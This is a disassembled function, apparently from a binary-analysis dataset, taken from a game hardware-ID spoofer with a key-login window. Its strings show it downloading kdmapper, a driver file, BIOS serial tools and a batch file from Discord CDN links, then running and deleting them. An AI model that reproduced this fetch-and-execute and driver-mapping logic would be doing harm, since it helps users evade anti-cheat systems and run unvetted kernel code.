Function at 0x14002fcc0
Capabilities:
Delete file
Download url
Execute command
Receive data
Terminate process

Disassembly:
push rbp
push rbx
push rdi
push r15
lea rbp, [rsp - 0x208]
sub rsp, 0x308
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x178]
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rax, [0x14002f950]
mov dword [rbp + 0x100], 0x50
xor edi, edi
mov qword [rbp + 0x108], rax
xor ecx, ecx
mov dword [rbp + 0x104], 0x40
mov qword [rbp + 0x110], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xorps xmm0, xmm0
mov qword [rbp + 0x148], rdi
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x120], xmm0
lea rbx, [0x14003d1b0]
movdqa xmmword [rbp + 0x130], xmm1
lea rcx, [rbp + 0x100]
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x140], rbx
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov rcx, qword [rbp + 0x118]
mov r8, rbx
mov eax, dword [rbp + 0x184]
cdq
mov qword [rsp + 0x58], rdi
sub eax, edx
mov qword [rsp + 0x50], rcx
sar eax, 1
xor ecx, ecx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], 0xb4
lea r9d, [rax - 0x5a]
mov dword [rsp + 0x30], 0x15e
mov eax, dword [rbp + 0x180]
cdq
mov dword [rsp + 0x28], r9d
sub eax, edx
mov r9d, 0x80000000
mov rdx, qword [rbp + 0x140]
sar eax, 1
sub eax, 0xaf
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea r9d, [rdi + 1]
xor r8d, r8d
mov rcx, rax
xor edx, edx
mov r15, rax
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
lea ecx, [rdi + 0x20]
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x140044408], rax
mov rcx, rax
test rax, rax
je 0x140031e50
lea rdx, [0x140044410]
mov qword [0x140044420], rdi
mov qword [rsp + 0x30], rdx
lea r8d, [rdi + 1]
lea rdx, [0x140044420]
mov qword [0x14004442c], rdi
mov qword [rsp + 0x28], rdx
mov r9, r15
mov dword [0x140044434], edi
xor edx, edx
mov qword [0x14004443c], rdi
mov dword [0x140044444], edi
mov qword [0x140044454], rdi
mov dword [0x140044448], 1
mov dword [0x140044438], 1
mov dword [0x140044428], edi
mov dword [0x14004444c], 1
mov dword [0x140044450], 0x50
mov dword [0x14004445c], 0x80000000
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x140031e49
mov qword [rsp + 0x330], rsi
lea edx, [rdi + 0xa]
mov qword [rsp + 0x338], r12
mov rcx, r15
mov qword [rsp + 0x340], r13
mov qword [rsp + 0x300], r14
movaps xmmword [rsp + 0x2f0], xmm6
movaps xmmword [rsp + 0x2e0], xmm7
movaps xmmword [rsp + 0x2d0], xmm8
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r15
call qword [sym.imp.USER32.dll_UpdateWindow]
mov dword [rsp + 0x30], 3
lea rdx, [rdi - 1]
mov dword [rsp + 0x28], edi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], edi
mov rcx, r15
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rax, qword [0x1400443a0]
test rax, rax
je 0x14002ff16
inc dword [rax + 0x3bc]
mov rdx, qword [0x140044390]
mov ecx, 0x3e88
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x14002ff38
xor edx, edx
mov rcx, rax
call fcn.140001250
jmp 0x14002ff3b
mov rax, rdi
cmp qword [0x1400443a0], rdi
jne 0x14002ff4b
mov qword [0x1400443a0], rax
mov rcx, rax
call fcn.140006c60
mov rcx, qword [0x1400443a0]
test rcx, rcx
jne 0x14002ff80
mov r8d, 0xcae
lea rdx, str.C:UsersFortnDownloadsSpooferSpooferimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1400443a0]
movss xmm2, dword [0x14003e55c]
lea rax, [0x14003c7a8]
mov rcx, qword [rcx + 0xa8]
mov qword [rsp + 0x20], rax
call fcn.140021950
xor ecx, ecx
call fcn.14001d110
lea rcx, [0x140044400]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x1400300c9
lea rcx, [0x1400443f8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x1400300c9
mov rax, qword [0x1400443a0]
mov qword [0x1400443f0], r15
test rax, rax
jne 0x140030005
mov r8d, 0xcae
lea rdx, str.C:UsersFortnDownloadsSpooferSpooferimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1400443a0]
or dword [rax + 0xc], 6
lea rcx, str.imgui_impl_win32
mov qword [rax + 0xd8], rcx
mov qword [rax + 0x120], r15
mov dword [rax + 0x3c], 9
mov dword [rax + 0x40], 0x25
mov dword [rax + 0x44], 0x27
mov dword [rax + 0x48], 0x26
mov dword [rax + 0x4c], 0x28
mov dword [rax + 0x50], 0x21
mov dword [rax + 0x54], 0x22
mov dword [rax + 0x58], 0x24
mov dword [rax + 0x5c], 0x23
mov dword [rax + 0x60], 0x2d
mov dword [rax + 0x64], 0x2e
mov dword [rax + 0x68], 8
mov dword [rax + 0x6c], 0x20
mov dword [rax + 0x70], 0xd
mov dword [rax + 0x74], 0x1b
mov dword [rax + 0x78], 0xd
mov dword [rax + 0x7c], 0x41
mov dword [rax + 0x80], 0x43
mov dword [rax + 0x84], 0x56
mov dword [rax + 0x88], 0x58
mov dword [rax + 0x8c], 0x59
mov dword [rax + 0x90], 0x5a
jmp 0x1400300d0
mov rax, qword [0x1400443a0]
mov rbx, qword [0x140044410]
test rax, rax
jne 0x1400300fd
mov r8d, 0xcae
lea rdx, str.C:UsersFortnDownloadsSpooferSpooferimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1400443a0]
or dword [rax + 0xc], 8
lea rcx, str.imgui_impl_dx9
mov qword [rax + 0xe0], rcx
mov rcx, rbx
mov rax, qword [rbx]
mov qword [0x1400443d8], rbx
call qword [rax + 8]
mov rbx, qword [0x1400443a0]
test rbx, rbx
jne 0x14003014c
mov r8d, 0x8d1
lea rdx, str.C:UsersFortnDownloadsSpooferSpooferimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1400443a0]
mov dword [rbx + 0x1574], edi
mov dword [rbx + 0x15a8], 0x40400000
mov dword [rbx + 0x1584], 0x3f000000
mov dword [rbx + 0x1588], 0x3f000000
test rbx, rbx
jne 0x140030196
mov r8d, 0x8d1
lea rdx, str.C:UsersFortnDownloadsSpooferSpooferimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1400443a0]
xor ecx, ecx
call fcn.14001d110
mov dword [rbx + 0x1620], 0x3f5c28f6
mov dword [rbx + 0x1624], 0x3f6e147b
mov dword [rbx + 0x1628], 0x3f63d70a
mov dword [rbx + 0x162c], 0x3f47ae14
mov dword [rbx + 0x1630], 0x3f5c28f6
mov dword [rbx + 0x1634], 0x3f6e147b
mov dword [rbx + 0x1638], 0x3f63d70a
mov dword [rbx + 0x163c], 0x3e8f5c29
mov dword [rbx + 0x1640], 0x3e051eb8
mov dword [rbx + 0x1644], 0x3e0f5c29
mov dword [rbx + 0x1648], 0x3e2e147b
mov dword [rbx + 0x164c], 0x3f800000
mov dword [rbx + 0x1670], 0x3e9eb852
mov dword [rbx + 0x1674], 0x3e9eb852
mov qword [rbx + 0x1678], 0x3f800000
mov qword [rbx + 0x1680], rdi
mov qword [rbx + 0x1688], rdi
mov dword [rbx + 0x1690], 0x3e4ccccd
mov dword [rbx + 0x1694], 0x3e6147ae
mov dword [rbx + 0x1698], 0x3e8a3d71
mov dword [rbx + 0x169c], 0x3f800000
mov dword [rbx + 0x16a0], 0x3f6b851f
mov dword [rbx + 0x16a4], 0x3e3851ec
mov dword [rbx + 0x16a8], 0x3e947ae1
mov dword [rbx + 0x16ac], 0x3f47ae14
mov dword [rbx + 0x16b0], 0x3f6b851f
mov dword [rbx + 0x16b4], 0x3e3851ec
mov dword [rbx + 0x16b8], 0x3e947ae1
mov dword [rbx + 0x16bc], 0x3f800000
mov dword [rbx + 0x16c0], 0x3e4ccccd
mov dword [rbx + 0x16c4], 0x3e6147ae
mov dword [rbx + 0x16c8], 0x3e8a3d71
mov dword [rbx + 0x16cc], 0x3f800000
mov dword [rbx + 0x16e0], 0x3e4ccccd
mov dword [rbx + 0x16e4], 0x3e6147ae
mov dword [rbx + 0x16e8], 0x3e8a3d71
mov dword [rbx + 0x16ec], 0x3f400000
mov dword [rbx + 0x16d0], 0x3f6b851f
mov dword [rbx + 0x16d4], 0x3e3851ec
mov dword [rbx + 0x16d8], 0x3e947ae1
mov dword [rbx + 0x16dc], 0x3f800000
mov dword [rbx + 0x16f0], 0x3e4ccccd
mov dword [rbx + 0x16f4], 0x3e6147ae
mov dword [rbx + 0x16f8], 0x3e8a3d71
mov dword [rbx + 0x16fc], 0x3ef0a3d7
mov dword [rbx + 0x1700], 0x3e4ccccd
mov dword [rbx + 0x1704], 0x3e6147ae
mov dword [rbx + 0x1708], 0x3e8a3d71
mov dword [rbx + 0x170c], 0x3f800000
mov dword [rbx + 0x1710], 0x3db851ec
mov dword [rbx + 0x1714], 0x3e19999a
mov dword [rbx + 0x1718], 0x3e23d70a
mov dword [rbx + 0x171c], 0x3f800000
mov dword [rbx + 0x1720], 0x3f6b851f
mov dword [rbx + 0x1724], 0x3e3851ec
mov dword [rbx + 0x1728], 0x3e947ae1
mov dword [rbx + 0x172c], 0x3f47ae14
mov dword [rbx + 0x1730], 0x3f6b851f
mov dword [rbx + 0x1734], 0x3e3851ec
mov dword [rbx + 0x1738], 0x3e947ae1
mov dword [rbx + 0x173c], 0x3f800000
mov dword [rbx + 0x1740], 0x3f35c28f
mov dword [rbx + 0x1744], 0x3e6147ae
mov dword [rbx + 0x1748], 0x3e8a3d71
mov dword [rbx + 0x174c], 0x3f800000
mov dword [rbx + 0x1750], 0x3ef0a3d7
mov dword [rbx + 0x1754], 0x3f451eb8
mov dword [rbx + 0x1758], 0x3f547ae1
mov dword [rbx + 0x175c], 0x3e0f5c29
mov dword [rbx + 0x1760], 0x3f6b851f
mov dword [rbx + 0x1764], 0x3e3851ec
mov dword [rbx + 0x1768], 0x3e947ae1
mov dword [rbx + 0x176c], 0x3f800000
mov dword [rbx + 0x1770], 0x3ef0a3d7
mov dword [rbx + 0x1774], 0x3f451eb8
mov dword [rbx + 0x1778], 0x3f547ae1
mov dword [rbx + 0x177c], 0x3e0f5c29
mov dword [rbx + 0x1780], 0x3f6b851f
mov dword [rbx + 0x1784], 0x3e3851ec
mov dword [rbx + 0x1788], 0x3e947ae1
xor eax, eax
mov dword [rbx + 0x178c], 0x3f5c28f6
xorps xmm0, xmm0
mov dword [rbx + 0x1790], 0x3f6b851f
xor r13b, r13b
mov dword [rbx + 0x1794], 0x3e3851ec
mov dword [rbx + 0x1798], 0x3e947ae1
lea ecx, [rax + 0x30]
mov dword [rbx + 0x179c], 0x3f800000
mov dword [rbx + 0x17a0], 0x3f6b851f
mov dword [rbx + 0x17a4], 0x3e3851ec
mov dword [rbx + 0x17a8], 0x3e947ae1
mov dword [rbx + 0x17ac], 0x3f428f5c
mov dword [rbx + 0x17b0], 0x3f6b851f
mov dword [rbx + 0x17b4], 0x3e3851ec
mov dword [rbx + 0x17b8], 0x3e947ae1
mov dword [rbx + 0x17bc], 0x3f5c28f6
mov dword [rbx + 0x17c0], 0x3f6b851f
mov dword [rbx + 0x17c4], 0x3e3851ec
mov dword [rbx + 0x17c8], 0x3e947ae1
mov dword [rbx + 0x17cc], 0x3f800000
mov dword [rbx + 0x17d0], 0x3e0f5c29
mov dword [rbx + 0x17d4], 0x3e23d70a
mov dword [rbx + 0x17d8], 0x3e428f5c
mov dword [rbx + 0x17dc], 0x3f800000
mov dword [rbx + 0x17e0], 0x3f6b851f
mov dword [rbx + 0x17e4], 0x3e3851ec
mov dword [rbx + 0x17e8], 0x3e947ae1
mov dword [rbx + 0x17ec], 0x3f47ae14
mov dword [rbx + 0x17f0], 0x3f6b851f
mov dword [rbx + 0x17f4], 0x3e3851ec
mov dword [rbx + 0x17f8], 0x3e947ae1
mov dword [rbx + 0x17fc], 0x3f800000
mov dword [rbx + 0x1800], 0x3ef0a3d7
mov dword [rbx + 0x1804], 0x3f451eb8
mov dword [rbx + 0x1808], 0x3f547ae1
mov dword [rbx + 0x180c], 0x3d23d70a
mov dword [rbx + 0x1810], 0x3f6b851f
mov dword [rbx + 0x1814], 0x3e3851ec
mov dword [rbx + 0x1818], 0x3e947ae1
mov dword [rbx + 0x181c], 0x3f47ae14
mov dword [rbx + 0x1820], 0x3f6b851f
mov dword [rbx + 0x1824], 0x3e3851ec
mov dword [rbx + 0x1828], 0x3e947ae1
mov dword [rbx + 0x182c], 0x3f800000
mov dword [rbx + 0x1880], 0x3f5c28f6
mov dword [rbx + 0x1884], 0x3f6e147b
mov dword [rbx + 0x1888], 0x3f63d70a
mov dword [rbx + 0x188c], 0x3f2147ae
mov dword [rbx + 0x1890], 0x3f6b851f
mov dword [rbx + 0x1894], 0x3e3851ec
mov dword [rbx + 0x1898], 0x3e947ae1
mov dword [rbx + 0x189c], 0x3f800000
mov dword [rbx + 0x18a0], 0x3f5c28f6
mov dword [rbx + 0x18a4], 0x3f6e147b
mov dword [rbx + 0x18a8], 0x3f63d70a
mov dword [rbx + 0x18ac], 0x3f2147ae
mov dword [rbx + 0x18b0], 0x3f6b851f
mov dword [rbx + 0x18b4], 0x3e3851ec
mov dword [rbx + 0x18b8], 0x3e947ae1
mov dword [rbx + 0x18bc], 0x3f800000
mov dword [rbx + 0x18c0], 0x3f6b851f
mov dword [rbx + 0x18c4], 0x3e3851ec
mov dword [rbx + 0x18c8], 0x3e947ae1
mov dword [rbx + 0x18cc], 0x3edc28f6
mov dword [rbx + 0x1660], 0x3e4ccccd
mov dword [rbx + 0x1664], 0x3e6147ae
mov dword [rbx + 0x1668], 0x3e8a3d71
mov dword [rbx + 0x166c], 0x3f666666
mov byte [rbp + 0xe0], dil
movups xmmword [rbp + 0xe1], xmm0
mov qword [rbp + 0xf1], rax
movups xmmword [rbp + 0x150], xmm0
call fcn.1400329d8
movups xmm0, xmmword [str.https:__pastebin.com_raw_fyt6p0Er]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x160], 0x21
mov qword [rbp + 0x168], 0x2f
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14003d1f0]
movups xmmword [rax + 0x10], xmm1
movzx ecx, byte [0x14003d200]
lea rdx, [rbp + 0x150]
mov byte [rax + 0x20], cl
lea rcx, [rbp + 0xc0]
mov byte [rax + 0x21], dil
call fcn.14002faa0
mov rsi, qword [rbp + 0xd0]
xorps xmm0, xmm0
mov r12, qword [rbp + 0xc0]
movabs rbx, 0x7fffffffffffffff
movsd xmm6, qword [0x14003e578]
movabs r14, 0x311cdad160000
movss xmm8, dword [0x14003e510]
xorps xmm7, xmm7
movups xmmword [rbp + 0x198], xmm0
movups xmmword [rbp + 0x1a8], xmm0
movups xmmword [rbp + 0x1b8], xmm0
nop
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x198]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x140030850
lea rcx, [rbp + 0x198]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x198]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x140031c88
cmp byte [0x14004408c], 0
je 0x140031e40
lea rcx, [rbp + 0xb8]
call fcn.14002f6b0
mov rdi, qword [rbp + 0xb8]
movabs rax, 0x7ffffffffeced2ff
cmp rdi, rax
jge 0x140030888
add rdi, 0x1312d00
jmp 0x14003088b
mov rdi, rbx
lea rcx, [rbp - 0x20]
call fcn.14002f6b0
mov rbx, qword [rbp - 0x20]
cmp rbx, rdi
jge 0x14003093e
movabs rsi, 0x112e0be826d694b3
nop dword [rax + rax]
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov rdx, rdi
xorps xmm0, xmm0
sub rdx, rbx
imul rax, rax, 0x64
cvtsi2sd xmm0, rdx
comisd xmm0, xmm6
lea rcx, [rax + r14]
seta r9b
test r9b, r9b
jne 0x1400308dd
lea rcx, [rax + rdx]
add rdx, rax
lea r8, [rax + r14]
test r9b, r9b
mov rax, rsi
cmove r8, rdx
imul r8
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul eax, edx, 0x3b9aca00
mov qword [rbp + 0x188], rdx
sub ecx, eax
mov dword [rbp + 0x190], ecx
lea rcx, [rbp + 0x188]
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
lea rcx, [rbp - 0x20]
call fcn.14002f6b0
mov rbx, qword [rbp - 0x20]
cmp rbx, rdi
jl 0x1400308b0
mov rsi, qword [rbp + 0xd0]
cmp qword [0x1400443c8], 0
jne 0x14003094d
call fcn.14002e970
call fcn.14002f040
call fcn.140005fb0
mov rax, qword [0x1400443a0]
lea rdx, [0x14004408c]
movaps xmm0, xmm7
movaps xmm1, xmm7
unpcklps xmm0, xmm7
mov r8d, 0x13e
unpcklps xmm1, xmm7
mov dword [rax + 0x1b48], 0x43af0000
mov dword [rax + 0x1b4c], 0x43340000
mov dword [rax + 0x1b30], 2
or dword [rax + 0x1b28], 3
movsd qword [rax + 0x1b38], xmm0
movsd qword [rax + 0x1b40], xmm1
mov dword [rax + 0x1b2c], 2
test r13b, r13b
jne 0x140030b1b
lea rcx, str.Ceos_Den__free_
call fcn.14000ac10
mov rcx, qword [0x1400443a0]
mov rax, qword [rcx + 0x1a88]
mov byte [rax + 0x80], 1
mov rax, qword [rcx + 0x1a88]
cmp byte [rax + 0x83], r13b
jne 0x140030a30
movss xmm1, dword [rcx + 0x15a4]
movss xmm0, dword [rax + 0xf4]
addss xmm1, xmm1
addss xmm1, dword [rcx + 0x1928]
maxss xmm0, xmm1
movss xmm1, dword [rax + 0x100]
movss dword [rax + 0xf4], xmm0
maxss xmm1, dword [rcx + 0x15a4]
movss dword [rax + 0x100], xmm1
lea rcx, str.Enter_Key:
call fcn.140027270
xor edi, edi
mov qword [rbp + 0x88], 0
mov qword [rsp + 0x38], rdi
lea rax, [rbp + 0x88]
mov qword [rsp + 0x30], rdi
lea r8, [rbp + 0xe0]
mov dword [rsp + 0x28], edi
lea rcx, str.username
lea r9d, [rdi + 0x19]
mov qword [rsp + 0x20], rax
xor edx, edx
call fcn.14002ad70
lea rdx, [rbp + 0x90]
mov qword [rbp + 0x90], rdi
lea rcx, str.Get_Key
call fcn.140027b10
test al, al
je 0x140030aa7
lea rcx, str.start_https:__justpaste.it_bahj3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x98]
mov qword [rbp + 0x98], rdi
lea rcx, str.Login
call fcn.140027b10
test al, al
je 0x140031b8b
lea rcx, [rbp + 0xe0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], dil
jne 0x140030ad7
cmp qword [rbp + 0xd8], 0xf
lea rcx, [rbp + 0xc0]
cmova rcx, r12
cmp rsi, rax
jne 0x140031b8b
mov r8, rsi
lea rdx, [rbp + 0xe0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140031b8b
mov r13b, 1
jmp 0x140031b8b
lea rcx, str.Client
call fcn.14000ac10
lea rdx, [rbp + 0xa0]
mov qword [rbp + 0xa0], 0
lea rcx, str.Temp_Spoof
call fcn.140027b10
xor edi, edi
test al, al
je 0x140030be4
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, [0x14003d3f8]
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1161751464587305112_1193678398032199811_CDM.sys_ex65ad96a3is659b21a3hm2d926136683d7af5a4f6a8bcac6d92f93685649da788888ea7af58c0feb88f01
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, [0x14003d5c0]
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1161751464587305112_1191890959861035178_kdmapper_Release.exe_ex65a715f5is6594a0f5hm2b722499330b697ee31240b4a94b9c307d3e973495a631621dc775aa7614f508
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cd_C:Program_Files__kdmapper_Release.exe_CDM.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:Program_Fileskdmapper_Release.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Program_FilesCDM.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov r9d, 0x40040
lea r8, str.Ceos_Den
lea rdx, str.Done_Spoofing__Use_applecleaner_or_launch_fn
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, [rbp + 0xa8]
mov qword [rbp + 0xa8], 0
lea rcx, str.Perm_Spoof__testing_
call fcn.140027b10
test al, al
je 0x140031b5c
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Program_FilesAMIDEWINx64.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1161751464587305112_1190465331727179837_AMIDEWINx64.EXE_ex65a1e63cis658f713chm63b313a3b9d1113d2f4cdc62b514a648e93432b459bf47637890549e38dc6b66
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Program_Files_amigendrv64.sys
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1161751464587305112_1190465331467141231_amigendrv64.sys_ex65a1e63cis658f713chmd241e41d493af0dc01dfbc83a36f54f53e3f726f16097694f05d5d9bc3b1abd8
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Program_Files_amifldrv64.sys
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1161751464587305112_1190465330988986499_amifldrv64.sys_ex65a1e63cis658f713chmcb4e7e31472d22d5fa21b829518557c102b4c95cd7ddc5979635139b27fdcfaa
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Program_FilesHardDisk.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1161751464587305112_1190465330636660766_HardDisk.exe_ex65a1e63cis658f713chm35a37fc3c16c9d6ac15f543904c307a1001b4f5ecf254878c9beb3da6e9899fe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Program_FilesVolumeid64.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1161751464587305112_1190467204538441768_Volumeid64.exe_ex65a1e7fbis658f72fbhm85f1b3320bbe5a5ee14d45198bf90ad519bc7ffcc7fea1efa719461db42fb345
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Program_FilesVolumeid.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1161751464587305112_1190467204156751962_Volumeid.exe_ex65a1e7fbis658f72fbhm7171153aacbd34b6725531f1cd91620970d98d92f46c506595364711463f406a
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Program_Files236.bat
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1161751464587305112_1191413302564241428_236.bat_ex65a5591ais6592e41ahm962db6959bbccb8027185daa58d202e6620fa16a3998fdd839c34c40a00df54f
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cd_C:Program_Files__start_236.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov esi, eax
mov eax, 0x7482296b
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2328
sub esi, eax
add esi, 0x3e8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r14d, eax
lea rcx, [rbp - 0x40]
mov eax, 0x7482296b
imul r14d
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2328
sub r14d, eax
add r14d, 0x3e8
mov edx, r14d
call fcn.140031f90
mov edx, esi
lea rcx, [rbp - 0x18]
call fcn.140031f90
mov rcx, qword [rbp]
mov r8, qword [rbp - 8]
mov rax, rcx
sub rax, r8
cmp rax, 0x23
jb 0x140030e12
lea rax, [r8 + 0x23]
cmp rcx, 0xf
lea rbx, [rbp - 0x18]
mov qword [rbp - 8], rax
cmova rbx, qword [rbp - 0x18]
lea rax, [0x14003e39b]
cmp rax, rbx
jbe 0x140030dc4
lea rax, [rbx + r8]
lea rcx, str.cd_C:Program_Files__Volumeid_C:
cmp rcx, rax
ja 0x140030dc4
cmp rbx, rcx
jbe 0x140030dc9
mov rdi, rbx
sub rdi, rcx
jmp 0x140030dc9
mov edi, 0x23
inc r8
lea rcx, [rbx + 0x23]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
lea rdx, str.cd_C:Program_Files__Volumeid_C:
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.cd_C:Program_Files__Volumeid_C:
mov r8d, 0x23
add rdx, 0x23
lea rcx, [rbx + rdi]
add rdx, rdi
sub r8, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x18]
xor edi, edi
jmp 0x140030e35
lea rax, str.cd_C:Program_Files__Volumeid_C:
mov qword [rsp + 0x28], 0x23
mov edx, 0x23
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x18]
call fcn.1400324e0
mov qword [rsp + 0x70], rdi
lea rdx, [0x14003c9b4]
mov qword [rsp + 0x78], rdi
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov r8d, 1
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.140031eb0
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x60]
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movups xmmword [rbp - 0x60], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp - 0x50], xmm1
mov byte [rax], 0
call fcn.1400322e0
cmp qword [rbp - 0x68], 0xf
lea rcx, [rbp - 0x80]
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140030efc
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030ef7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dd0
call fcn.140032720
mov rdx, qword [rbp - 0x48]
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
cmp rdx, 0xf
jbe 0x140030f47
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030f42
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dd0
call fcn.140032720
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140030f84
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030f7f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140031dd0
call fcn.140032720
